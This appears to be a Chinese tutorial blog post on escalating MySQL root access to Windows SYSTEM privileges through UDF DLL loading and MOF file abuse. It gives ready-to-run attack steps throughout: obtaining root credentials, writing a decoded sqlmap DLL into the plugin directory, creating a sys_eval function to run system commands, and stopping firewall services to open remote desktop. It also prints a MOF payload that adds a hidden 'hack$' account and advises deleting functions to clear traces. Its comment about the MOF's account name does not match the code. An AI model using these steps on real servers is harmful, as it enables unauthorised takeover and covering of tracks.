MySQL提权的必要条件:

  1. 具有MySQL的root权限,且MySQL以system权限运行。
  2. 具有执行SQL语句的权限。

获取root密码的方法:

  1. 查看数据库配置文件关键字:config、conn、sql、data、inc、database等
  2. 下载mysql安装路径下的数据文件
  •  安装路径下的data目录中存放的是数据库的数据信息
  •  root账号密码存储在mysql数据库下的user表中
  •  完整路径=安装路径+\data\mysql\user.MYD

    3.暴力破解

MySQL数据库提权的几种方式

  • udf提权
  • mof提权
  • 开机启动脚本(启动项提权)

UDF提权简介

UDF(user-defined function)是MySQL的一个拓展接口,也可称之为用户自定义函数,它是用来拓展MySQL的技术手段,可以说是数据库功能的一种扩展。
通过在udf文件中定义新函数,对MYSQL的功能进行扩充,可以执行系统任意命令,将MYSQL账号root转化为系统system权限。

select version();   # 获取数据库版本
select user();  # 获取数据库用户
select @@basedir;   # 获取数据库安装目录
show variables like ‘%plugin%’; # 查看plugin路径。

利用条件:

  1. mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,该目录默认是不存在的,需要使用webshell找到mysql的安装目录,并在安装目录下创建MySQL\Lib\Plugin\文件夹,然后将udf.dll导入到该目录。
  2. mysql版本小于5.1, udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录。
  1. 掌握mysql数据库的账户,从拥有对mysql的insert和delete权限,以创建和抛弃函数。拥有可以将udf.dll写入相应目录的权限。
  2. 可以将udf.dll写入到相应目录的权限。

导出UDF文件:

关于路径:

MySQL<5.0,导出路径随意;
5.0 <= MySQL<5.1,则需要导出至目标服务器的系统目录(如:c:/windows/system32/)
MySQL 5.1以上版本,必须要把udf.dll文件放到MySQL安装目录下的lib\plugin文件夹下才能创建自定义函数。

获取版本:

select version();

大于5.1,查找mysql的安装路径

select @@basedir;

版本大于5.1默认是不存在lib\plugin文件夹的,有两种方法

创建文件

1.手工创建

这个就不说了,直接创建就好了

2.利用NTFS流创建(不一定会成功)

select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib::$INDEX_ALLOCATION';    //利用NTFS ADS创建lib目录
select 'It is dll' into dumpfile 'C:\\phpStudy\\PHPTutorial\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';    //利用NTFS ADS创建plugin目录

创建好文件之后,就可以导出dll

C:/phpStudy/PHPTutorial/MySQL/lib/plugin   //在这个路径下

导出dll

设置secure-file-priv参数的值

因为mysql默认设置是不允许导入导出的

secure_file_priv是用来限制load dumpfile、into outfile、load_file()函数在哪个目录下拥有上传和读取文件的权限。如下关于secure_file_priv的配置介绍

secure_file_priv的值为null ,表示限制mysqld 不允许导入|导出

当secure_file_priv的值为/tmp/ ,表示限制mysqld 的导入|导出只能发生在/tmp/目录下

当secure_file_priv的值没有具体值时,表示不对mysqld 的导入|导出做限制

所以,如果这里的secure_file_priv的值非空的话,近下来操作即导入dll的操作则不能进行,所以我们先把其设置为空

我们可以在mysql/my.ini中查看是否有secure_file_priv 的参数,如果没有的话我们就添加 secure_file_priv = ' ' 即可

方法一提权:

安装后页面不会有什么反应,可以去文件夹内看

udf shell提权

没成功的话我们可以使用专门的udf提权shell

选择导出的版本,32位还是64位

查看位数命令

show variables like '%version_%';

导出

导出成功后,创建函数

示例过程中可能会出现创建不成功,或者执行命令提示没有的情况,一般重启一下phpstudy服务就好了,实战情况下不需要

select sys_eval('whoami');

也可以执行其他的一些操作或者自己构建语句

清除痕迹:

drop function sys_eval;// 将函数删除 

方法二提权:

sqlmap中有现成的udf文件,分为32位和64位,一定要选择对版本

文件夹中的dll文件是通过异或编码的,可以使用sqlmap/extract/cloak.py进行解码

解码

python3 cloak.py -d -i D:\Tools\tools\注入工具\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_

将解码后的dll文件上传至MySQL/lib/plugin 路径下

将DLL中的函数引入到MySQL数据库中

创建自定义函数:

create function sys_eval returns string soname 'lib_mysqludf_sys.dll';

//创建名为sys_eval的函数,返回值为string类型,调用的文件是lib_mysqludf_sys.dll、

上面创建过,所以提示已经存在

执行命令:

和上面是一样的

清除痕迹:

drop function sys_eval;// 将函数删除 

如果要连接3389,

连不上的话可以先停止windows防火墙和筛选

select sys_eval(‘net stop policyagent’); 

select sys_eval(‘net stop sharedaccess’); 

udf.dll下常见函数:

cmdshell 执行cmd;

downloader 下载者,到网上下载指定文件并保存到指定目录;

open3389 通用开3389终端服务,可指定端口(不改端口无需重启);

backshell 反弹Shell;

ProcessView 枚举系统进程;

KillProcess 终止指定进程;

regread 读注册表;

regwrite 写注册表;

shut 关机,注销,重启;

about 说明与帮助函数;

MOF提权简介

托管对象格式(MOF)文件是创建和注册提供程序,事件类别和事件的简便方法。MOF文件每隔五秒就会监控进程的创建和死亡,若MySQL是以管理员身份启动,并且可以往MOF的文件路径“c:/windows/system32/wbem/mof”中写入文件,便可以通过上传MOF进行提权

操作系统目录c:\windows\system32\wbem禁止写入

一般对Windows2003以下操作系统效果较好,Windows2008以上由于保护机制,较少能够成功

环境:

windows server 2003

mysql的my.ini文件内加入“secure-file-priv = "" ”来禁用它,因为默认是开启的,开启状态下我们执行下面的payload会提示该参数被占用

原理:

利用了c:/windows/system32/wbem/mof/目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

利用条件:

具备Mysql的root权限

  1. 只使用于windows系统,一般低版本系统才可以用,比如xp、server2003
  2. 对C:\Windows\System32\wbem\MOF目录有读写权限
  1. 可以找到一个可写目录,写入mof文件

提权方法1:

生成“nullevt.mof”文件,上传到网站根目录

//下面代码就是nullevt.mof的内容,创建moonteam$用户并加入到管理员组

#pragma namespace("\\\\.\\root\\subscription") 

instance of __EventFilter as $EventFilter 
{ 
    EventNamespace = "Root\\Cimv2"; 
    Name  = "filtP2"; 
    Query = "Select * From __InstanceModificationEvent " 
            "Where TargetInstance Isa \"Win32_LocalTime\" " 
            "And TargetInstance.Second = 5"; 
    QueryLanguage = "WQL"; 
}; 

instance of ActiveScriptEventConsumer as $Consumer 
{ 
    Name = "consPCSV2"; 
    ScriptingEngine = "JScript"; 
    ScriptText = 
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hack$ 123456Aa. /add\")"; 
}; 

instance of __FilterToConsumerBinding 
{ 
    Consumer   = $Consumer; 
    Filter = $EventFilter; 
}; 

执行Mysql 语句,导出到 %SystemRoot%System32WbemMOF 目录下,利用的就是该目录下每分钟会在特定的时间去执行一次的特性,来执行我们的 DOS 命令。

select load_file('C:/phpStudy/PHPTutorial/WWW/nullevt.mof') into dumpfile 'C:/Windows/System32/wbem/MOF/nullevt.mof';

这点注意一个坑点,若MOF文件存在问题,则会出现在“C:\WINDOWS\system32\wbem\mof\bad”目录下,若没问题就会出现在“C:\WINDOWS\system32\wbem\mof\good”目录下;

成功把MOF导出时,MOF就会直接被执行;

完了记得删除文件

Logo

为开发者提供学习成长、分享交流、生态实践、资源工具等服务,帮助开发者快速成长。

更多推荐